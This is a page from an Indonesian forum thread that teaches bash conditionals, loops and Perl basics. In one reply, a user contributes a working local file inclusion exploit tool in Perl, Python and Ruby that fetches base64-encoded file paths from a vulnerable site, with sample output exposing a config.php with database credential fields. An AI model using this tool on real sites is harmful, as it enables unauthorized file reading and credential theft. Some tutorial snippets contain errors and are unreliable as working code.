Belajar Linux: Pemrograman di Linux - Page 2
Welcome guest, is this your first visit? Create Account now to join.
  • Login:

Welcome to the CHIP Forum.

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed.

+ Reply to Thread
Page 2 of 3 FirstFirst 1 2 3 LastLast
Results 11 to 20 of 21

Thread: Belajar Linux: Pemrograman di Linux
  
Bookmark and Share

  1. #11
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Kondisi Pemilihan



    Script shell yang selama ini Kita pelajari baru membuat sekumpulan perintah-perintah saja tidak ubahnya seperti batch file di DOS. Script shell tidak berhenti hanya sampai di situ saja, script shell pun dapat dibuat menjadi sebuah program yang sempurna.

    Fungsi shell selain sebagai antar muka untuk bekerja mengendalikan komputer juga dapat berfungsi layaknya interpreter (contohnya seperti basica yang merupakan interpreter). Karena itu script shell dapat berfungsi seperti layaknya software untuk pengembangan aplikasi.


    Untuk itu, suatu software umumnya harus dapat memilih berdasarkan suatu kondisi, menggunakan perulangan. Untuk itu dalam postingan ini dan postingan berikutnya akan mengajarkan untuk menggunakan kondisi pemilihan dan perulangan.


    Kondisi pemilihan memungkinkan seurutan perintah hanya dapat dikerjakan apabila suatu kondisi terpenuhi. Kondisi pemilihan di script shell ini ada 2 macam, yaitu dengan menggunakan if dan menggunakan case.
    1. Kondisi dengan if
      Format dari perintah if adalah:
      Code:
           if     Kondisi-Kode-Exit
           then
                 Perintah-perintah bila $? bernilai 0
           fi
      Perintah if dapat menggunakan perintah test untuk melakuan pengujian data, tetapi Kita juga dapat menggunakan tanpa perintah test. Berikut contoh dengan menggunakan perintah if
      • Code:
          echo “Script untuk menghapus file”
          echo “Nama file yang akan dihapus: “
          read NamaFile
          rm NamaFile
          if test $? -eq 0
          then
            echo “File telah dihapus”
          fi
      • Code:
          echo “Mencoba bentuk if yang lain: “
          if test 2 -lt 3
          then
            echo “ternyata 2 lebih kecil dari 3”
          fi
      • Code:
          echo “Script untuk menghapus file”
          echo “Nama file yang akan dihapus: “
          read NamaFile
          rm NamaFile
          if [ $? -eq 0 ]
          then
            echo “File telah dihapus”
          fi
      • Code:
          echo “Mencoba bentuk if yang lain: “
          if [ 2 -lt 3 ]
          then
            echo “ternyata 2 lebih kecil dari 3”
          fi
        Lihatlah pada dua contoh terakhir, ternyata perintah test dapat digantikan dengan menggunakan tanda kurung siku “[ ]”. Ingat sesudah kurung siku pembuka dan sebelum kurung siku penutup harus diberi spasi

      Seringkali Kita dihadapkan pada 2 keputusan yang harus dijalankan. Pada contoh sebelumnya, kondisinya hanya 1 saja, untuk itu Kita akan mencoba bentuk if yang lainnya. Formatnya adalah sebagai berikut:
      Code:
      if     Kondisi-Kode-Exit
      then
            Perintah-perintah bila $? bernilai 0
      else
        Daftar-perintah     bila kondisi bernilai bukan 0
      fi
      Contoh:
      1. Code:
          echo “Script untuk menghapus file”
          echo “Nama file yang akan dihapus: “
          read NamaFile
          rm NamaFile
          if test $? -eq 0
          then
            echo “File telah dihapus”
          else
            echo “File tidak ditemukan”
          fi
      2. Code:
          echo “Mencoba bentuk if yang lain: “
          if test 2 -lt 3
          then
            echo “ternyata 2 lebih kecil dari 3”
          else
            echo “Kok bisa ya, kalau 3 lebih kecil dari 2”
          fi
      3. Code:
          echo “Script untuk menghapus file”
          echo “Nama file yang akan dihapus: “
          read NamaFile
          rm NamaFile
          if [ $? -eq 0 ]
          then
            echo “File telah dihapus”
          else
            echo  “File tidak ditemukan”
          fi
      4. Code:
          echo “Mencoba bentuk if yang lain: “
          if [ 2 -lt 3 ]
          then
            echo “ternyata 2 lebih kecil dari 3”
          else
            echo “Benaran aneh deh, kenapa 3 bisa lebih kecil dari 2”
          fi
      Contoh di atas dapat menangani untuk 1 atau 2 kondisi. Sekarang bagaimana bila terdapat 3 kondisi atau lebih? Di dalam penggunaan perintah if, Kita juga dapat membuat perintah if di dalam perintah if itu sendiri.


      Format dari perintah IF ini adalah:
      Code:
      if Kondisi-Kode-Exit
      then
          if [Kondisi-Kode-Exit]
          then
             perintah
          else
             perintah
          fi
      else
          if [Kondisi-Kode-Exit]
          then
             perintah
          else
             perintah
          fi
      fi
      Bentuk seperti di atas, dapat Kita singkat menjadi:
      Code:
      if Kondisi-Kode-Exit
      then
          if [Kondisi-Kode-Exit]
          then
             perintah
          else
             perintah
          fi
      elif     [Kondisi-Kode-Exit]
      then
          perintah
      else
          perintah
      fi
      Sekarang kita coba untuk membuat script yang lebih kompleks lagi dengan memanfaatkan if bersarang tersebut.
      Code:
        #!/bin/bash
        echo "Script untuk menghitung luas bangun"
      echo ""
      echo "1) Luas Persegi Panjang"
      echo "2) Luas Segitiga"
      echo "3) Luas Lingkaran"
      echo "Pilihan Anda? "
      read pilihan
      if [ $pilihan -eq 1 ]
      then
        echo "Masukkan panjang persegi: "
        read panjang
        echo "masukkan lebar persegi: "
        read lebar
        let "hasil=$panjang * $lebar"
      elif [ $pilihan -eq 2 ]
      then
       echo "Masukkan tinggi segitiga: "
        read tinggi
        echo "Masukkan panjang alas segitiga: "
        read alas
        let "hasil=$tinggi * $alas / 2"
      elif [ $pilihan -eq 3 ]
      then
        echo "masukkan jari-jari lingkaran: "
        read jari
        let "hasil=$jari ** 2 * 3,14"
      fi
      echo "Luas dari bangun yang Anda pilih: $hasil"
    2. Kondisi dengan case
      Sebelumnya Kita telah belajar untuk kondisi dengan menggunakan perintah if yang bersarang. Sebenarnya masih ada 1 fungsi yang lebih sederhana ketimbang menggunakan if yang bersarang. Perintah tersebut adalah perintah case. Format perintahnya adalah
      Code:
       case variabel in
         nilai_1)
            perintah
            ;;
         nilai_2)
           perintah
           ;;
         [nilai_n])
            perintah
            ;;
       esac
      Setiap blok perintah untuk suatu kondisi, harus diakhiri dengan tanda ;; untuk memisahkan dengan blok kondisi yang lainnya.


      Sekarang kita akan coba menggunakan contoh sebelumnya, tetapi dengan menggunakan perintah case.
      Code:
       #!/bin/bash
       
      echo "Script untuk menghitung luas bangun" echo "" echo "1) Luas Persegi Panjang" echo "2) Luas Segitiga" echo "3) Luas Lingkaran" echo "Pilihan Anda? " read pilihan case $pilihan in 1) echo "Masukkan panjang persegi: " read panjang echo "masukkan lebar persegi: " read lebar let "hasil=$panjang * $lebar" ;; 2) echo "Masukkan tinggi segitiga: " read tinggi echo "Masukkan panjang alas segitiga: " read alas let "hasil=$tinggi * $alas / 2" ;; 3) echo "masukkan jari-jari lingkaran: " read jari let "hasil=$jari ** 2 * 3,14" ;; esac echo "Luas dari bangun yang Anda pilih: $hasil"

  2. #12
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Kondisi Perulangan



    Kondisi Perulangan

    Kondisi perulangan berguna untuk mengulang suatu proses yang sama. Contohnya seperti ini, untuk menampilkan pesan “Saya sedang belajar Linux”, kita tinggal menuliskan
    Code:
    echo “Saya sedang belajar Linux”
    Sekarang kalau saya memerintahkan, tulis dalam kalimat tersebut sebanyak 5 kali, maka kode akan menjadi:
    Code:
     echo “Saya sedang belajar Linux”
     echo “Saya sedang belajar Linux”
     echo “Saya sedang belajar Linux”
     echo “Saya sedang belajar Linux”
     echo “Saya sedang belajar Linux”
    Sekarang kalau misalnya ingin ditambah lagi menjadi 100 kali bagaimana? Memang sih tinggal copy+paste saja juga bisa. Tapi akan menjadi tidak efisien bila pengulangannya banyak. Tapi seandainya, Anda ngotot ingin menggunakan cara copy+paste ini, coba lakukan perintah berikut dengan copy+paste: lakukan pengulangan kalimat tersebut sebanyak n kali atau sebanyak yang user inginkan.

    Dapat dilihat, selain tidak efisien, pengulangan dengan copy+paste ini juga tidak bisa diterapkan untuk kondisi syarat yang ditetapkan secara runtime. Nah, karena hal tersebutlah muncullah kondisi perulangan, dan bash shell pun mendukung kondisi perulangan tersebut.

    Kondisi perulangan yang didukung oleh bash shell ada 3, yaitu:
    • while
    • until
    • for
    1. Perulangan dengan while

      Perulangan dengan while digunakan untuk mengulang-ulang perintah selama kondisi di while bernilai benar ($? sama dengan nol).

      Perintahnya:
      Code:
        while kondisi
        do
          perintah-perintah
        done
      Contoh penulisan scriptnya adalah sebagai berikut:
      Code:
        i=0
        while [ $i -lt 100 ]
        do
           echo “Saya sedang belajar Linux”
           let i+=1
        done
      Jangan lupa untuk menambahkan baris counter (let i+=1) seperti di atas, karena bila tidak diberikan, maka efeknya akan terjadi perulangan yang tidak pernah berhenti, karena nilai i selalu sama dengan 0.

      Perulangan while juga dapat digunakan untuk membuat perulangan tanpa henti (misalnya untuk keperluan pembuatan menu), contoh berikut akan membuat loop yang tidak berhenti (gunakan Ctrl+C untuk menghentikannya)
      Code:
      while true
      do
        echo "Saya sedang belajar linux"
      done
    2. Perulangan dengan until

      Perulangan dengan until digunakan untuk mengulang-ulang perintah sampai kondisi di until bernilai salah ($? tidak sama dengan nol).

      Perintahnya:
      Code:
        until kondisi
        do
          perintah-perintah
        done
      Contoh penulisan scriptnya adalah sebagai berikut:
      Code:
        i=1
        until [ $i -gt 100 ]
        do
           echo “Saya sedang belajar Linux”
           let i+=1
        done
      Berbeda dengan pengulangan while, pada pengulangan until, variabel i di inisialisi dengan nilai 1, karena pemeriksaan kondisi until bertolak belakang dengan while. Jika while, kondisi akan terus dijalankan selama kondisi benar, maka di until, kondisi akan dijalankan selama kondisi salah.

      Jadi, bila variabel i diberi nilai 0, maka perulangan akan dilakukan sebanyak 101 kali, karena nilai terakhir i adalah 100, dan 100 -gt 100 adalah salah, dan artinya until masih memproses kondisi ini.

      Jangan lupa untuk menambahkan baris counter (let i+=1) seperti di atas, karena bila tidak diberikan, maka efeknya akan terjadi perulangan yang tidak pernah berhenti, karena nilai i selalu sama dengan 0.

      Perulangan until juga dapat digunakan untuk membuat perulangan tanpa henti (misalnya untuk keperluan pembuatan menu), contoh berikut akan membuat loop yang tidak berhenti (gunakan Ctrl+C untuk menghentikannya)
      Code:
      until false
      do
        echo "Saya sedang belajar linux"
      done
    3. Perulangan dengan for

      Perulangan dengan for digunakan untuk mengulang-ulang perintah dengan menggunakan daftar ataupun dengan menggunakan range nilai tertentu. Jadi pengulangan di for sudah ditentukan terlebih dahulu.

      Perintahnya:
      Code:
        for Variabel in Daftar1 Daftar2 Daftar3 DaftarN
        do
          perintah-perintah
        done
      Contoh penulisan scriptnya adalah sebagai berikut:

      atau, for yang bergaya C/C++ seperti ini:
      Code:
       for (( expr1; expr2; expr3 ))
       do
         perintah-perintah
       done
      Contohnya seperti ini:
      Code:
        for i in 1 2 3 4 5 6
        do
           echo “Saya sedang belajar Linux”
        done
      Code:
      for ((  i = 1 ;  i <= 100;  i++  ))
      do
        echo "Saya sedang belajar Linux"
      done


      Lihatlah, dalam perulangan for, kita tidak perlu membuat counternya karena sudah otomatis ditambahkan oleh for

  3. #13
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Pemrograman Perl



    Perl merupakan kepanjangan dari Practical Extraction and Report Language. Perl merupakan bahasa pemrograman yang dioptimasi untuk memudahkan memanipulasi file, teks dan memprosesnya.

    Perl dibuat akhir tahun 1970 oleh Larry Wall, dan secara khusus diguanakn untuk melakukan pembacaan file dengan cepat, mengekstrak string teks dan mencetak laporan berdasarkan informasi yang diekstraknya.

    Perl dapat dikompilasi atau cukup melalui intepreter. Perl menggabungkan kemampuan terbaik cari C, sed, awk dan shell (sh).

    Perl versi 1.00 dibuka pada tahun 1987 setelah dikembangkan dari tahun 1970. Selain tersedia di Linux, Perl juga tersedia di lingkungan DOS dan Windows.

  4. #14
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Menjalankan Perl



    Untuk menjalankan perl, pastikan program perl telah diinstall. Umumnya, program perl berada di /usr/bin/perl.

    Perl dapat dipanggil dengan perintah
    perl namafile.pl
    Perl juga dapat dijalankan tanpa parameter nama file, jika tanpa parameter, artinya perl dijalankan dari standar input. Jika dijalankan tanpa parameter, maka untuk keluar dari perl, tekan CTRL+D, setelah keluar, semua perintah yang kita ketikkan akan dieksekusi oleh perl.

    Bila perl dipanggil dengan nama file sebagai parameternya, maka berarti perl dijalankan sebagai intepreter file tersebut.

  5. #15
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Dasar Pemrograman Perl



    Sebelum masuk ke dalam dasar pemrograman perl, perlu ditekankan dulu bahwa perl menerapkan case sensitive (huruf kecil dan huruf besar dianggap berbeda) dalam setiap perintah-perintahnya dan setiap perintah perl selalu diakhiri dengan tanda ; (titik koma). Contoh:
    Code:
    print "Halo";
    print "Sirius Black";
    1. Menampilkan informasi
      Untuk menampilkan informasi ke standar keluaran (biasanya monitor), makan kita dapat menggunakan perintah print. Perintahnya adalah
      Code:
      print "teks";
      Teks yang akan ditampilkan dalam perintah print harus diapit dengan tanda kutip (") atau tanda petik (').

    2. Variabel dalam Perl
      Di dalam pemrograman perl, variabel di bedakan menjadi:
      • Variabel tunggal
        Variabel tunggal adalah variabel yang digunakan untuk menyimpan hanya 1 buah data saja. Variabel tunggal ini diawali dnegan karakter $. Contoh:
        Code:
        $username
        $password
      • Variabel array
        Variabel array adalah variabel yang digunakan untuk menyimpan beberapa buah data yang di simpan ke dalam indeksnya masing-masing. Variabel array ini saat didefinisikan harus diawali dengan tanda @. Untuk menampilkan nilai variabel ini, maka variabel array ini harus diawali dengan tanda $ dan diakhiri dengan nomor Indeks. Contoh:
        Code:
        @komponen  -> definisi variabel array
        $komponen[1] -> cara mengakses variabel array

      Contoh penggunaan variabel, termasuk menampilkannya adalah seperti contoh di bawah ini:
      Code:
      $nama="Sirius Black";
      $umur=17;
      @minat=("Delphi","Linux","Game");
      
      print "Halo ", $nama, "\n";
      print "Umur Anda sekarang adalah ",$umur, "\n";
      print "dan minat utama Anda adalah ",$minat[0], "\n";
      Tanda \n digunakan sebagai karakter Enter, agar tulisan selanjutnya dituliskan di baris selanjutnya.

      Sekarang, Kita akan coba untuk menerima input dari user. Untuk menerima input, kita menggunakan <STDIN>. Berikut contohnya:
      Code:
      print "Nama Anda: ";
      $nama = <STDIN>;
      print "Halo ", $nama;
      print "\n";

  6. #16
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Lightbulb [Belajar Linux: Pemrograman di Linux] Kondisi Pemilihan



    Layaknya bahasa pemrograman yang lain, perl juga memiliki kondisi pemilihan. Kondisi pemilihan dalam perl yang akan dijabarkan di sini adalah kondisi if. Syntax dari if secara umum adalah seperti ini
    Code:
    if (kondisi) 
    {
      blok perintah jika benar
    } 
    else 
    {
      blok perintah jika salah
    }
    Berikut adalah contoh penerapan kondisi if dalam bahasa perl
    Code:
    print "Masukan bilangan pertama\n";
    $bil1=<STDIN>;
    print "Masukan bilangan kedua\n";
    $bil2=<STDIN>;
    if ($bil1 > $bil2) 
    {
       print "Bilangan ",$bil1," lebih besar dari bilangan ",$bil2;
    }
    elseif ($bil1 < $bil2)
    {
       print "Bilangan ",$bil1," lebih kecil dari bilangan ",$bil2;
    }
      else
      {
         print "Bilangan ",$bil1," sama dengan bilangan ",$bil2;
        }
    Last edited by Sirius Black; 06-10-2007 at 07:29.

  7. #17
    Join Date
    Sep 2006
    Location
    Denpasar, Jember, Neverland
    Posts
    1,069
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    17

    Re: Belajar Linux: Pemrograman di Linux



    threadnya discontinued yak.................. om mod, apa ga di sticky aja??
    wew...........
    koneksitas
    Hidden

    Linux makes me feel more alive

  8. #18
    Join Date
    Jan 2009
    Location
    di depan pc n laptop
    Posts
    909
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    13

    Re: Belajar Linux: Pemrograman di Linux



    threadnya programmer linux ni.
    keren2



  9. #19
    Join Date
    Jun 2005
    Posts
    1,044
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    18

    Re: Belajar Linux: Pemrograman di Linux



    numpang setor kode gan :malu: ... fungsi kode ini sederhana sekali, yaitu ut request file dari web yg kena LFI tp pake base64 tersedia dlm tiga rasa yg berbeda... silakan dinikmati...

    menggunakan bahasa perl
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use MIME::Base64;
    $u = LWP::UserAgent->new();
    
    die("usage: $0 <url>\n") unless @ARGV > 0;
    print "[*] file: ";
    while (<STDIN>) {
        chomp;
        if ($_ eq 'exit' || $_ eq 'quit') { exit(); }
        $f = $u->request(HTTP::Request->new(GET=>$ARGV[0].encode_base64($_)));
        if ($f->is_success) { print $f->content."\n"; }
        print "[*] file: ";
    }
    menggunakan bahasa python
    Code:
    #!/usr/bin/env python
    import urllib, base64, sys
    
    if len(sys.argv) < 2:
        print "usage: " + sys.argv[0] + " <url>"
        sys.exit()
    
    while 1:
        f = raw_input("[*] file: ")
        if (f == 'exit' or f == 'quit'): sys.exit()
        c = urllib.urlopen(sys.argv[1] + base64.b64encode(f))
        print c.read()
    menggunakan ruby
    Code:
    #!/usr/bin/env ruby
    require 'open-uri'
    require 'base64'
    
    if (ARGV.length < 1)
        puts "usage: #{$0} <url>"
        exit
    end
    while 1
        print "[*] file: "
        f = STDIN.readline.chomp!
        exit if (f == 'quit' or f == 'exit')
        puts open(ARGV[0] + Base64.b64encode(f)).read
    end
    aturan pakainya sederhana, nanti tinggal dijalankan seperti ini:
    Code:
    bash-3.2$ ./lfi64.py http://www.victim.com/whateverlah.php?file=
    [*] file: include/config.php
    <?php
            @define("TITLE", "Bla...Bla...Bla");
            @define(db_host, "localhost");
            @define(db_user, "...");
            @define(db_pass, "...");
            @define(db_name, "...");
    ?>
    [*] file: exit
    Last edited by drubicza; 15-02-2009 at 06:08. Reason: * i'll curse this stupid vBull code tag bug *
    terima kasih :)

  10. #20
    Join Date
    Jul 2004
    Location
    Tangerang
    Posts
    2,848
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    25

    Re: Belajar Linux: Pemrograman di Linux



    Quote Originally Posted by Anrix View Post
    threadnya discontinued yak.................. om mod, apa ga di sticky aja??
    Belum sempat diteruskan lagi Bro. Maunya sih nggak cuma perl aja, tapi juga ke phyton, dsb. tapi apa daya, waktunya udah nggak ada lagi.

    @Drubicza thanks uah post codenya.


 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts